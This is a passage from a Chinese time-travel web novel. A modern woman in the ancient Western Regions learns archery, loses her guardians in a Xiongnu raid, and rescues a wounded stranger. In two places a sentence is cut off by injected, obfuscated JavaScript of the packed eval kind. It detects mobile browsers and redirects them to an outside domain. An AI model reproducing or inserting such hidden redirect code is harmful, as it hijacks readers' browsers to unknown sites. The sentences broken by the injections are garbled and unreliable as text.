沙迦身材高大沉默寡言,但狩猎动作敏捷善于隐藏,浓密的毛发下双眼深邃,总能瞬间发现猎物,以足够的耐心等待一击即中的机会。辛薇曾随他为捕猎一只银狐,默默藏在草丛里,可惜银狐天生警惕,从太阳当头等到夕阳西下才从洞里又回到溪水边饮水,沙迦将它一箭毙命,隐忍力可见一斑。 这日,见他又满载而归,辛薇忍不住求问:“沙迦阿兄,能不能教我射箭。” 沙迦牟韦大多数时间也是沉默的…… 在辛薇快要放弃的第三日,沙迦牟韦忽然递给她一个箭囊,以及一把小巧箭弩,造型精致,辛薇十分惊喜。 “这是,送我的?” 沙迦浓密的胡子掩盖了半张脸,点头道:“射箭不能一蹴而就,你想学,这把弓弩适合你。” 辛薇眸光一喜,弓弩只有她小臂长短,她双手接过拉了拉弦软硬趁手,弓弩并不算崭新,显然被沙伽牟韦改造过,适合力道不大的新手,沙迦牟韦不善言辞,但十分耐心。 “精铁不足,袋子里只有二十支箭。” 辛薇满心欢喜,“多谢沙迦阿兄。” 沙迦牟韦为她调整了弓弦,教她怎样使用和瞄准,“你学会了追踪,接下来按我教你的射箭方法。” 之后的时光,辛薇每日三个时辰练习射箭,沙伽牟韦是个细心的师傅,看出女孩的刻苦,并不催促她一蹴而就。这个男人不喜屠戮生命,更多的时间他更愿意与辛薇闲谈风土与药理,西域的白山绿水有无穷无尽的草木宝藏,每遇到一些珍惜药草,看年轻的学生好奇的眼光,他都会耐心解释。 “那只鹿嘴里叼的是‘鹿衔草”,它还有个别名叫‘破血丹’,敷在伤口上即可止血。 这是藜芦,用它煮水浆洗衣物,去湿热,还能对付虫蚁。” 说到大漠中的奇花异草,辛薇就想起梁羽生在《云海玉弓缘》里的一段文字:“用天山雪莲所制炼的解毒灵丹,不但可以解毒,还可以给人增长功力。” 她心心念念,好奇地问过沙迦阿兄。没想到,沙迦带着奇怪的眼神看了她几眼,然后从家中翻出许多阴干的雪莲,“雪莲性热,只在秋天采摘,这些是去年阴干的雪莲,阿祇想要都拿去吧。” 辛薇如获至宝,“这,太珍贵了。” “无妨,雪莲是强筋活血,治疗寒症的好药,它生长虽慢,在高山上很容易寻到。” 沙迦不知道为何阿祇对雪莲情有独钟,不过是常见的滋补草药,想到女子们都爱雪莲聘婷碧绿,便毫不吝啬地都送给了她,犹豫一番,关于雪莲还有滋阴壮阳的奇效,想了想,没再多说。 时光飞快,当可怜的母羊被晾晒成肉脯,辛薇也能射到百步以外的野兔,沙迦牟韦和善爱终于装好行囊,离别的日子到了。三人,一匹骆驼,加上无时不欢蹦乱跳的努尔,最后看了眼平静美丽的小家,踏上前往陌生世界的旅程。 4. 光 辛薇生得白皙清丽,看似中原女子的纤细,身体素质却极好又能吃苦,穿越到千年前的浩瀚昆仑山,当她一路沿着山脚下的草甸行来,天苍苍,野茫茫,早春的雪山杉木和山花烂漫,万物复苏的广袤美景,无不震撼她的心灵。 善爱不知道第几次请求,“阿祇,坐上骆驼吧。” 辛薇体质不差,她更担心善爱能否受得住跋涉之苦,“阿姊放心,我健步如飞,你刚染了风寒更要小心,不要多思多忧。” 日渐孱弱的善爱双眼凹陷,脸颊瘦削,抚着脸上的面纱,望着辛薇背影轻轻叹息,随骆驼颠簸。 辛薇双脚踏在这片大陆,正享受湛蓝天空和半空雪鹰翱翔的心旷神怡,每次睁开眼睛,都不敢相信自己是真的行走在千年之前。 “阿姊,精绝女子都遮面的吗?” 善爱摇头,“大漠不太平,汉人样貌,对被屠城灭族的部落而言,是可恨的仇人,精绝女子不必时时蒙面,阿祇,不要让人看见你的脸。” 辛薇大概听懂了她的精绝语,配合地盖上善爱为她织的素色头巾,蒙上面纱,明亮的双眸间遮不住一点朱砂痕,其实当初撞在石壁镏金凸起文字的伤口早已愈合,不知为何留下如石榴籽般大小的花瓣印记,形似含苞待放的优昙婆罗,又像烙印在额间的半笔佉卢文,在白皙的肤色映衬下不显突兀,反而有掩盖不住的神秘。 她甚是喜欢手上的料子,“我极爱阿姊的织锦,你看,好看又防沙。” 蒙面的女孩朝骆驼上的阿姊眨了两下眼睛,好似天空闪耀的星子,惊艳华美。善爱看到这样的笑颜微怔,又一阵咳嗽,前面牵着骆驼的沙迦牟韦缓下步伐,转身关切,“小心身子。” 辛薇解下腰间水囊,伸手递给善爱,善爱小心喝下一口,沙迦牟韦看着他的女人身子每况愈下,眼里有抹复杂的情绪。三人趁着天气晴好,准备落日前赶到魔鬼城的洞窟群。 一路行来,长草渐短,他们即将离开绿洲,风餐露宿的日子令善爱的咳疾反复,然而前途旅程只会更加恶劣。前方的旷野,红日残阳,漫天起起落落的秃鹫,嗷嗷嘶鸣着不祥。 沙迦牟韦忽然停下脚步喊:“努尔,回来。” 猎犬屁颠屁颠地从不远处而来,摇着尾巴,在他们身边转悠,沙迦牟韦拉紧缰绳,扯着骆驼偏转方向,想绕开那些疯狂抢食的畜生。 沙迦对旁边的辛薇肃然道:“阿祇,上骆驼。” 辛薇起初懵懂,而后瞬间明白前方是怎样的场面,善爱将她拉上骆驼,挡在身后。恐怖的嘶鸣声,鼻间有阵阵恶臭传来,充斥着血腥与腐臭的味道,辛薇从善爱的身后望去,前方犹如地狱。 血迹残留的道路,到处散落挂着血肉的人骨,残缺不全的腐尸成了秃鹫和虫蚁的饕餮大餐,惨状绵延数里,不知是流民,是商队,或是流寇士兵的成百上千具残骸,面目全非,惨如人间地狱。 沙迦牟韦手中已拿起了一把弯刀,警惕着动物的袭击,另一只手拉住骆驼默默前行,努尔也不再到处乱跑,双手被善爱冰凉的手紧紧握着,耳边小声响起她温暖的声音,“别怕,这些畜生只吃腐肉,我们不去打扰便不会有事。” 好似在穿越地狱的边缘,生命的脆弱和对死亡的绝望,比断肢残臂和腐烂尸体更可怕。 沉默地穿行出乱葬之地,沙伽牟韦开口道:“那些尸体死去有几日,武器都不在了,看来最近大漠不太平,咱们得改道。” 善爱握着她的手心一片濡湿,放心不下,“阿祇,你还好吧,要不要歇息一会儿?” 辛薇胃中翻滚,压抑了一下情绪,“我没事。” 三人继续前行,远行的驼铃时高时低,风中传来善爱虚弱又空灵的诵经声: 南无阿弥多婆夜, 哆他伽多夜…… 二十一遍诚心唱诵往生咒。 消前世恶业,登极乐净土。 大漠的暮色降至,风沙漫天,寂静的一行人,走在苍茫的山麓旷野,似有若无的吟唱声最终随风飘散。他们必须在落日前赶到魔鬼城的洞窟群憩息,因为绕行,直到月亮升至中天,他们才抵达一片断墙残壁的石头城,所谓魔鬼城,只是一处风蚀地貌,形状怪异,脚下青草早□□涸的沙土砾石代替,四周一片荒芜。 寻了个避风的地势,沙迦决定生火过夜。 风声四起,呜呜咽咽地穿梭在魔鬼城的孔洞之间,竟真的像鬼怪乱窜的动静。 努尔不知从哪里叼来一朵黄花,用头蹭了蹭坐在角落的女孩,放在她的脚下,显然白天的血腥一幕给辛薇留下了阴影。 努尔是个快乐又胆小的家伙,总不知疲倦地跑前跑后,有时会被逃窜的蜥蜴吓得躲开,然后看它无害便张口吃掉,有时寻到野味会带来与主人分享,它似乎记得随辛薇乱跑在花海的快乐,女孩那时叼着一枝甜蜜的花朵,和努尔在草原上追逐。 纤细的手捡起那朵快要枯萎的花朵,努尔随即蜷缩在少女身侧,眨着乌溜溜的眼睛,看她瞧着小黄花发呆,见辛薇不理睬它,就用头拱了拱她的手,伸着舌头像是说:吃吧,好有力气。 火苗随风忽明忽暗,努尔摇着毛茸茸的尾巴发出呜声,沙迦牟韦叫上它,对善爱道:“我去捡柴。” 夫妻二人心意相通,善爱挪坐在辛薇身侧,远去的一人一狗身影渐渐消失在黑夜,风中依稀飘来欢快的狗叫。善爱眼神收回看着身边的女孩,温柔地讲述起他们遇到努尔的故事。 “两年前,沙迦牟韦和我去鄯善换购物品,大漠黑夜寒冷,所以我们赶在晨光中上路,那天正巧遇到被狼群围攻的一窝猎犬,公猎犬已被狼群咬死,母猎犬护着狗崽们也奄奄一息,当沙迦牟韦举着火把驱赶狼群时,太阳升起,我们最后只救下一只狗崽,它就是努尔,我们给了它‘光’的名字,因为有光,就有希望。” 善爱轻抚女孩的长发,“阿祇,我们也会护着你。” 风儿夹着沙,穿梭在避风的残垣。辛薇见识过了残忍,才恍然自己身处的已非和平时代。 “阿姊,如果我什么都不是呢?” 阿祇犹豫着说出内心的恐惧,“我以为我很坚强,不过看过死亡才知道自己真的很怕,我想回家,哪怕失去亲身接近梦想的机会,我也想回家,我怕迷失得找不到归路,怕失去战胜恐惧的勇气,然后失去自我,不得往生。” 善爱默默解下酒囊,放在辛薇冰凉的手里,这双手平时都是很温暖的,如今冰凉如水。 “这是沙迦牟韦酿的沙棘酒,暖暖身。” 辛薇接过喝了口酸甜的热酒,喉咙一辣,心中像燃烧一把火,然后身上一沉,善爱用毛绒绒的毡被将她裹得严严实实,开口道:“阿祇,你也是光。” 踏上归途的善爱情绪起了变化,少了初见的哀伤,当她一个人孤零零地坐在湖边念经,也不见这样的冷静,一双瘦弱的手紧紧握住辛薇。善爱很少提及她和沙伽牟韦在精绝的过往,而私奔后的十六年,多是苦难。 “死在精绝的土地上是我的心愿,哪怕更靠近一分都是你带来的勇气,不论你是谁,我只感激能遇上你。” 最近她的语气透着不详,阴影中的辛薇看向她,将身子靠向善爱的肩膀,感激地说:“阿姊,谢谢你。” 前尘往事,辛薇从未提起自己的来历,在这样静寂的夜晚,她害怕闭上眼睛,那些惨烈的场景会在脑中清晰浮现,以从天而降的祥瑞神祇而活,为了别人的期冀和自我的求知而活,未来有没有可以回头的路? 当夜深人静,火堆旁深目髯须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492963|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沙迦牟韦,温柔无声地抚着妻子的发丝,半生漂泊,只有彼此,这样的爱是辛薇从未体会过的。 沙迦牟韦知道辛薇尚未入睡,往她的火堆中多加了几根柴,忽然用流利的汉文道:“阿祇,真不记得以前的事吗?” 沙迦牟韦质朴一向寡言,如果祖慕祇是支持善爱信念的光,那么守护善爱则是支持他的信念。 辛薇孤独地缩在一个墙角,看火堆那边的夫妻,她并不怀疑这个对爱情忠贞的男人善恶,但也感到他似乎欲言又止的犹豫。 于是,辛薇再次回避了这个话题。 “沙迦阿兄,你们离开精绝多久了?” 沙迦牟韦也不在意她的回避,“冰雪消融了十六次,我们再没见过春天尼雅河畔成群的牛羊。” “精绝是什么样子?” 沙迦牟韦的思绪慢慢飘到记忆的故乡,“精绝有最美的日出,胡杨树一片葱绿,红柳、毛条这时应该长了新芽,滚滚的尼雅河水滋润两岸,到处生长着绿油油的嫩草,牧民和孩子们追赶着牛羊,走在哪里都有欢声笑语。” 辛薇静静听他说话,沙迦声音低沉而伤感,“只怕……再也听不见了。” 风中有辛薇的承诺,“我答应过阿姊,一起回去。” “回去又能怎样?” 辛薇听不懂他话的深意,却能听出那份无奈凄凉。 “回去就可以回归熟悉的家乡,见到日思夜想的家人,慰藉离别的愁绪,不是吗?” 沙迦语气沧桑,“善爱是我家仆人的女儿,从小不知道亲生父亲是谁,十四岁那年她的阿妈将她嫁给我第六个哥哥。我是家里最小的儿子,生我时母亲难产死了,父亲很爱母亲便因此恨上了我,从小到大父亲为我请了很多师傅,却从未过亲身教导,直到年长的哥哥们有的病死,有的远走他乡,家里只剩下六哥和我,父亲也老了。 我的前半生忙着和父亲对抗,到处闯祸,每次被打或者被关起来奄奄一息的时候,就会有汤药和吃食,起初我以为父亲终是爱我的,直到后来,我才知道父亲根本没有在乎过我,我没有自生自灭,不是因为命大或父亲的怜悯,始终都是有善爱暗中的照顾。整整十年,她总在我最危难的时候悄悄帮我,但当我发觉的时候,她已经是六哥的第五个妻子。” “十年,你就从来没发现过善爱的心意?” 沙迦苦笑,“父亲有很多妻子和子女,在失去我母亲时他才懂得自己的心,我不屑情爱,善爱照顾我多年我觉得理所当然,却不知若没有她,我早不知死了几次。 一切都太晚了,自从她阿妈把她嫁给六哥,就再没有人关心我的死活。我后悔过,看到六哥打得她遍体鳞伤,却什么也不能做。六哥染了重病没多久撒手人寰,善爱无子被买卖,我想买下她,可是父亲不允,我就做了这一生最重要的决定——带她私奔。 父亲将善爱的阿妈关起来做人质,逼我们回去,被绑回精绝后,巫师认为善爱是污秽,会连累族人带来不幸,与之亲近必受反噬。” “无稽之谈,阿秭根本不是什么污秽。” “我们是被流放出来,若找不到祥瑞,则终身不得回城,每年还要献上用善爱的血抄写的经文,才能减轻精绝的诅咒,这就是为何善爱的身体越来越差。” “善爱阿秭的血?难道非要血不行吗?” 沙迦露出痛苦的神色,“是否是人血巫师一看便知,我试过用自己的血代替善爱抄写经文,但善爱不允,她说业障难逃,心诚则灵。” 沙迦牟韦永远忘不了善爱所遭受的折磨,他们被赶出精绝时,善爱的阿妈还在被囚禁着,每年回程送经文他们更是连城门都进不去。这一次,不知道从天而降的“阿祇”,是否真的会给他们的命运带来转机? 5. 失散 黑暗中她看不清火焰对面,沙迦脸上神情明灭不定。这场精绝之旅,对他们来说吉凶未定,但辛薇有种感觉,穿越而来是一种宿命。 沙迦牟韦黝黑的面庞大半覆盖着胡须,仿佛在努力掩盖沧桑,他眼神清亮,好似装满了大漠的爱恨情仇,围着火堆旁,他粗糙的手捡起一根柴,丢进火堆,立刻溅起火星点点。 男人声音低沉,轻问道:“你到精绝后有什么打算。” 辛薇愣了一下,然后摇摇头,“不知道,我想回家,却不知道回去的路。” 沙迦抬起眼,眼神中有询问,但最终肯定地回答:“只要不是上天入地,总能找到归路。” 辛薇与他对视,总觉得他话中有深意。 不待她多想,沙迦牟韦又问:“阿祇,你的家乡是什么样?” 辛薇的思绪飘向远方,“在我的家乡很遥远,那里老有所终,壮有所用,幼有所长,矜寡孤独废疾者皆有所养。” 沙迦有些憧憬,“这世间真的有这样的地方吗?” 女孩点点头,“只要有讲信修睦的人,自然会有这样的地方。” 善爱枕在男人的腿上微微翻了个身,沙迦牟韦忙噤声,小心将为她拉了拉身上的雪貂皮,那是他当年追踪了几乎三天三夜,才猎到的一只成年雪貂,通体雪白,毛皮没有一根杂毛,当年善爱舍不得这么珍贵的东西,本想卖掉它换些实用的物品,可是沙迦牟韦硬是不肯,亲手缝制了这件披风给自己的爱人。 二人虽然流浪异乡,无儿无女,辛薇却从他们相处的点滴中看到了相濡以沫的爱情。 夜风寒凉,篝火飞舞。 她不想打扰夜晚的宁静,却也没想到一场危机正在靠近。一旁匍匐的努尔突然竖起了耳朵,紧接着它立起身子,对着夜幕的一个方向不安地吠叫,没几声又吓得呜咽几声,然后紧绷肌肉到处跑跳。 沙迦牟韦与辛薇瞬间警惕起来,刚入睡的善爱被惊醒,三人慌忙地拿起防身武器,很快,有疾驰的马蹄声由远及近而来。 措不及防,从夜幕中射来一支冷箭。 紧接着,第二支,第三支……很多马蹄声呼啸而来。 沙迦大喊:“快躲进魔鬼城。” 沙迦牟韦护着善爱向不远处的洞窟后退,但他们离能躲避的暗处有点远,一旁墙角处的辛薇利落地抓起弓箭,在残垣断壁之后想要掩护二人。 由远及近的马蹄声凌乱急促,利箭如雨呼啸而来,有的扎在火堆附近,有的飞向黑夜,还有很多朝沙伽牟韦和善爱所在光亮。善爱头发披散凌乱,被沙伽牟韦护在身后,远方喊得是匈奴语,距离在三百步开外,这个射程辛薇的射程根本无法触及。沙迦牟护着善爱艰难后退,刀抵不过利箭的速度,腿已然中箭,善爱在他身后朝辛薇的藏身处嘶喊,“快逃!” 辛薇慌乱缠上面纱和兜帽,搭弩弓瞄准。 飞来的箭矢又快又猛,沙伽牟韦气急,“这是匈奴人的箭,再不走我们都要死。” 正说着,左臂又中了一箭,善爱急得挡在爱人身前,一支利箭从她背后穿胸而入。 沙迦牟韦见爱人倒下,悲愤难掩,“善爱……” 辛薇凄声嘶叫,顾不得许多,拉开弓弩瞄准最先奔来的人马,然而还未放飞,下一刻夜色中出现更多疾驰而来的黑影。 黑影速度很快,根本看不清流箭飞来的方向,她摸向箭囊的手有些颤抖,电光火石间,接连发出数支。一声战马嘶鸣,有人连人带马翻滚在魔鬼城的戈壁上。 慌乱中,她好像射中了目标,微弱的反抗显然激怒了一行狂奔而来的人,他们的袭击更甚。沙伽牟韦拖着善爱已躲到不远处的洞窟,朝辛薇大喊:“跑!” 满身是血的善爱眼神飘向辛薇,也艰难地吐出一句话,看嘴型也是“快跑”。 身处隐蔽角落的辛薇心痛如绞,沙迦牟韦故意躲在光亮的边缘,二人搭箭,一支支相继破空而出。他身中数箭,但都不在要害,挣扎地为角落里的女孩做掩护,血泊中的善爱双眼盯着她,催她离开。 箭囊空了,辛薇脑海一片空白,脚下有个力量扯动她的衣裙,是呜咽着的努尔。小东西,一直是善爱派来护着她的。铁蹄百步之遥,她已再无箭可用。 三人毫无反抗之力,对面的沙伽牟韦放弃了反抗,只死死盯着辛薇的方向。努尔不停拉扯,辛薇明白善爱和沙迦牟韦的忧虑,断然转身,向残垣断瓦深处逃去。一路奔跑,早已听不见马蹄的声音和叫嚣的匈奴语,最后肾上腺激素所激发出的力量烟消云散,直到脱了鞋后力,再也跑不动。 人倒在土丘上,手一抹,才发现脸上全是泪。 她看不起自己,竟是个贪生怕死的胆小鬼。 呜呜,身边努尔好像在呜咽。 辛薇猛地睁开眼睛,心想哪里不对。 黑夜中的匈奴人不像是一队人马,马蹄声凌乱急切,箭头没有准头,像流矢乱飞,靠近的时候,她记得最前面的几匹马并没有朝他们攻击,反而偶尔回头查看,应该是在逃命。 如果是两拨人的恩怨,说不定沙迦他们躲起来有生还的希望。想到这里,辛薇蹭得起身,拍拍累趴下的努尔,“快,我们回去。” 努尔歪了歪头,没听懂她的意思。 辛薇向回走了几步,努尔没跟上。 无奈之下,辛薇用精绝语重复,“努尔,我们回去。” 努尔在无数次逃跑经验中总结出了自己的一套逻辑,遇到危险后,只有沙迦牟韦追来,才是安全的时刻。它朝天嗷叫,有几分孤狼的气势。辛薇命令不动它,有些急躁。 “如果你不走,我自己回去。” 说完,不再头也不回得就往回跑去。 魔鬼城地势复杂,她和努尔来时如无头苍蝇般狂奔,奇形怪状的洞窟如一张张大口,让返程之路无比困难,在几次走入歧途后,天光乍破,辛薇越来越焦急。下一个彷徨的路口,她停下来看些如迷宫般的残垣断壁,一股绝望之情油然而生,她跌坐在土坯上,脑海一片空白。这时候,身后呜呜几声,努尔终于现身,跑在了她跟前摇着尾巴,跳来跳去。 “努尔,你认识路,对不对?” 辛薇不给它否认的机会,站起来从腰间解下水囊,蹲下身,打开塞子将水倒在手心,送到努尔的嘴边。努尔温热的舌头瞬间把她的手心舔得一干二净,辛薇又喂了努尔几捧水。 她揉了一下努尔的头,“乖,咱们快回去。” 努尔摇了摇尾巴,立刻冲向了前面的某个角落,辛薇忙跟了上去。 “咕咕……”天空中有几声刺耳的鸟叫,甚是瘆人。努尔也嗷了一声,打破了这样诡异阴冷的氛围,辛薇终于感受到了它名字“光”的含义。 眼看,她们就要走出这片魔鬼城的废墟,可是前方却没有半点动静。想起善爱与沙迦牟韦满身血污的样子,辛薇勇气顿生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492964|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,加快脚步,行囊里有事先准备好的伤药,沙迦阿兄医术不凡,她还有西医急救的培训,一定来得及。 不知不觉的奔跑中,东方已露出鱼肚白。 一人一狗,终于回到断壁残垣的入口,只见跪坐在那的骆驼安然无恙,篝火化作了灰烬,零散的行囊,然后就只见一滩血迹。除此之外,不见半个人影,哪怕……尸首。 辛薇疯狂地四处寻找,一里外有一匹受伤的死马,散落的箭矢,再跑远点,又见到躺在地上的几个人影,她跑上去翻看,都是浑身中箭的男人。死状可怖,刀伤箭伤无数,脖颈上一刀毙命,主动脉被人挑断,身下是连成片的暗色血痕。身体已冰冷,她确认了瞳孔和脉搏,缓缓为那些人盖上双目,抬头早有几只令人憎恶的秃鹫盘旋。 “安息……” 辛薇无力掩埋尸体,起身拉紧面纱,继续寻找善爱和沙迦牟韦,却自始至终没能找到善爱和沙迦牟韦的踪迹。方圆数里的范围,一无所获。 心比祖慕海的湖水还要冰凉,又累又渴的辛薇,回到魔鬼城,依偎着骆驼和努尔,呆等了一天一夜。 “善爱阿秭,沙迦阿兄,你们在哪?” 大漠孤烟,到长河落日,如此动人心魄的美景,周围只剩一片死气。冷风中,她来到城墙的最高处,孤立于荒漠之巅的绝望感,使足了最后的力气,朝着远方呼唤:“阿姊……” 天高云淡,无人回应。 寒风呼啸,她的呼喊飘散在远方。 陪伴照顾自己三个月的善爱和沙迦牟韦,就这样与辛薇失散了,生死未卜。 …………………………………………………… 日出日落,又是一天。 风卷着辛薇的衣裙,她起身走上最高处,远处一望无垠,天高云淡,看不清前路。辛薇看了眼趴在地上,无精打采的猎犬,终于下了决心:“努尔,我们走。” 努尔委屈地看了一眼新主人,俯起前爪,抖了抖身上的沙土,喉咙里发出低哑的嘶鸣,辛薇跑下山丘,骑上驮着行李的骆驼,朝着朝阳的方向前行。一个女子,牵着骆驼倔强地行走在秃鹫盘旋的大漠,哪怕那曾是她的噩梦,如今却心如止水。孤独上路的辛薇,在沉默中跋涉了几日。 她来到一片水泽,对水永恒的唱诵声起:“神之所赐,润吾子民,泽幸苍生,惜佑感之。” 这是精绝的礼仪,也是她穿越后适应古代生活的第一个习惯。 单薄的女子跪在一片水泽前双手合十,用精绝语再次吟唱出这句无比熟悉的祈祷文,感慨万千,她打开水囊,将其注满水,然后朝水源跪拜,才牵起骆驼,拍了拍身边的努尔离开。 自从那夜与沙迦牟韦和善爱失散,生死难料,日出日落,从此在这片广漠的西域大地上独自行走的,不再是后世辛薇,而是一个坚强的精绝灵魂——祖慕祇。 “努尔,如果阿秭看到你这么无精打采的样子,也一定会不高兴吧?” 认定新身份的祖慕祇,发誓要适应这片沙漠。 努尔虽然不会说话,但是很通人性。她不该沉寂在独自的悲伤里,身边的小东西乖乖跟着她,再也没有追逐野兔的心情。她们一人一狗,重新打起精神。月白色的裙摆迎风飞舞,辛薇品尝着孤独的味道,在这个一望无际的黄沙漫道上,前所未有地怅然,却也前所未有地勇敢,相比刚刚穿越而来的恐惧彷徨,她现在却对这个未知的世界充满了勇气。 6. 佛心 从昆仑山脚下的河流附近朝东走,找到驼队留下的足迹,就找到了古丝绸之路的官道。一路向东,穿过于阗、且末,就能寻到尼雅河,那就是滋养精绝国的母亲河。可眼前出现的,却是一片绵延数里的沼泽。不复祖慕海的壮丽,没有昆仑山的磅礴,人畜的骨骸散落,已经历过生死的女孩仍心有余悸。泡些尸骸的水源她不敢取用,多走了半天的路程,寻到的水质浑浊碱性又大,十分苦涩。 眼看天色不好,阿祇终于找到一片有活鱼的流动水域,令人欣喜的是水域边缘的沙砾上,开着几株长叶开花的药草,那是伊贝母。 她取了水,顺便采药,装入用红柳枝编织的小篮子里,里面还有些许浆果。想起当初善爱教她编织,做浆酪,时间短暂却是她来到这里收获的第一份真心。 物是人非,也许阴阳两隔。 当年父亲去世时母亲就曾说过,这世上谁都不可能陪谁一辈子。现在的祖慕祇还有努尔,一只很胆小的小猎犬,也会在危急时刻冲出去的光,她并不孤单。 阿祇从行囊中翻出沙迦牟韦画出的大漠地图。 这片水域,应该是喀什河的支流。 在西域大漠中的小国们都是依赖河流生存的,就像尼雅河滋养着精绝国,孔雀河滋养了楼兰,而喀什河则是于阗国的生命河,每年冬雪消融的春季,昆仑山都会慷慨地充沛这些河流的水源,让沙漠里无数生灵赖以生存。 沙尘渐起,阿祇裹紧身上的雪狼毛袄,头纱几乎蒙上了双眼,她骑上骆驼加快脚步,在天黑前得找到避风的地方。大风从西北而来,折木飞沙走石,阿祇艰难地控制着骆驼,沿着山麓脚下,终于发现不远处有座两层楼高的佛塔。 佛教从西域传向中原,所以沿途供奉佛像和舍利的佛塔并不少见,阿祇驱赶骆驼来到土石搭建的佛塔前,安置好坐骑,招呼努尔,赶忙冲进一片漆黑的塔洞。 冷不防脚下一绊,人便朝前扑倒。 洞外,努尔狂吠不停却不进来,“汪汪……” 女孩摔得不轻,幸好身下有什么东西垫着,没受皮外伤,她很快反应过来好像是个人。 撑起身体,她点燃火折子,隐约看到趴着一个散着长发的男人,肩头有只断箭,心中一颤,还以为是沙迦牟韦,拨开凌乱的发丝,才发现是个满脸血污的陌生人。 手指靠近鼻下,人还有气息。 阿祇找到佛塔中的烛灯,凑近轻唤那人,没半点声音。一袭黑色皮袍下满是血渍,看来受伤极重,右肩胛插着的箭被人为折断,额头血肉模糊,眉骨有刀剑伤,小腿上也有半截折箭。折断的羽箭阿祇认得,与那晚射向他们的一样,那日她含泪处理死尸的时候,身上都是这样通黑的箭杆箭头。 男人动了一下,猛然抓住她右手腕,阿祇吃痛。 一双肿胀狠厉地眼睛对上她受惊的瞳孔,漆黑阴冷,电光火石间阿祇看到杀意。 “我能救你。”她用汉文喊出口。 对方力道一顿,阿祇以为这人听不懂汉文,换了精绝语又说了一遍,“你受伤很重,我能救你。” 男人的脸血迹斑斑看不出长相,眼神却很锐利凶狠。突然,阿祇想起,在她来到这个世界的第一天躲在木丛里,就曾看见过的这样一双眼睛。 沙迦牟韦说过:他们是匈奴人,会杀人。 阿祇不自觉手往回缩,那人放了手,也许确认女人对自己够不上威胁,也许伤势过重,闭上眼睛重摔在血泊之中。 阿祇犹豫了,那夜袭击他们的也是身穿黑衣的匈奴人,说不定这双手就沾染善爱和沙迦牟韦的血,涌出一股恨意,眼睛移到肩头那支羽箭,或许该让这个男人早点解脱。 男人低沉的汉话,虚弱又冷漠,“不想死,滚!” 猛然回神,辛薇一阵心慌,奔出塔外。 衣裙瞬间被风沙卷得飞舞,阿祇急忙裹紧衣裳头纱大步逆风而去,风中传出一声她呼唤努尔的哨子,头也不回的女子,内心如同外面的风暴一样翻腾。 顶风来到跪坐在地的骆驼旁,阿祇在大风中拼命地扯曳骆驼,却无论如何也强拉不动稳若磐石的畜生,仿佛感应出这样的夜晚,无处可去。 “佛曰命由己造,人若造孽,自食恶报。” 她从来不知道自己是个冷心冷血的人,那男人只怕不用她动手也活不过今晚,在地狱门前徘徊,何尝不是无人可依。 凌乱的大风让女孩渐渐冷静下来,犹如善爱的吟唱在耳边,“人生在世如身处荆棘之中,心不动,人不妄动,不动则不伤,如心动则人妄动,伤其身痛其骨。”万事皆有因果,她的命曾被别人所救,当另外一条命摆在自己眼前,救与不救,好像根本不是一道选择题。 阿祇甩下手中的缰绳,裹紧面纱,奔回佛塔。 佛塔里异常宁静,有一点光亮,是她刚刚点燃的油灯。坐在燃烧正旺的火堆旁,心早已平静。 从拱形门洞望出去,外面黑漆漆的夜空闪着星光,风声呜咽不止,却比几个时辰前小了许多,偶尔远方夹杂几声野兽嚎叫,夜已深。 再次从疼痛中醒来的时候,男人发现自己光着背趴在土夯上,身上的折箭都不见了,伤口被悉数包扎,身下垫着厚实的羊皮毡子,眼前有温暖的火光。 片刻的恍惚,不知自己是死是活。 身上有太多伤,他亲手折断了肩膀和左腿的箭,随从尽死,战马力竭,拖着残躯逃到这个佛塔终是晕厥过去。手沿着疼痛的方向摸索,像在确定自己是在忍受人间折磨,还是已入阿鼻地狱。 当手指触摸到身上的毛毯,男人微微一愣。 这才发现在火光的对面墙角有一团身影,层层罩衣下身形像是个女人,旁边蜷缩着一只狗。昏暗的光线下,只见女人裹着层层衣襟,几缕黑色发丝掩映眉眼,安然入睡地毫无防备。 记忆与疼痛,翻江倒海而来…… 自从征战南羌而归,他被追杀一路逃亡西域,对方的身手和武器都来自匈奴,伯父已被拥为大单于,谁敢杀他?头疼欲裂间,不经意又瞥见角落的女人,她又是谁? 一个声音在脑海中回响,“我能救你。” 全身的疼痛,部族追杀,随从皆战死,男人早已杀意漫天,摸索向藏在靴中的匕首,毛毯滑落,寒冷和撕裂的疼痛让本就虚弱的身体一颤。努尔被动静惊醒,扭过乌溜溜眼珠朝男人看来,被他冷冷一瞥,哼唧地往身边人瑟缩,熟睡中的女子动了动身体,层层罩纱下伸出一只白皙纤细的手,轻轻地拍它的头,口中呢喃不清,“乖……” 不一会儿,小小的佛塔内重归平静。 噼啪的火星声格外清晰,火堆对面女人呼吸均匀静谧,没有一丝内力的绵长深厚,睡得很香。 没来由的,从几日的尸山血海里拼出来的人失了杀戮的兴致。身上衣裳几乎都被除去,数十处伤口有的被包扎,有的只是敷上药草,血已止住,他索性闭上了眼睛。 外面风声呼啸,不远处浅浅的呼吸声在男人耳中格外清晰,时间慢慢流逝,重创的身体让精神越发不济,他辗转在昏迷与清醒之间,身子时冷时热,混沌中似乎有人在耳边说话,听不清楚,但能感受到上身被人拥起,口中有淡淡的药香。 大概地狱无门,他又逃过一劫。 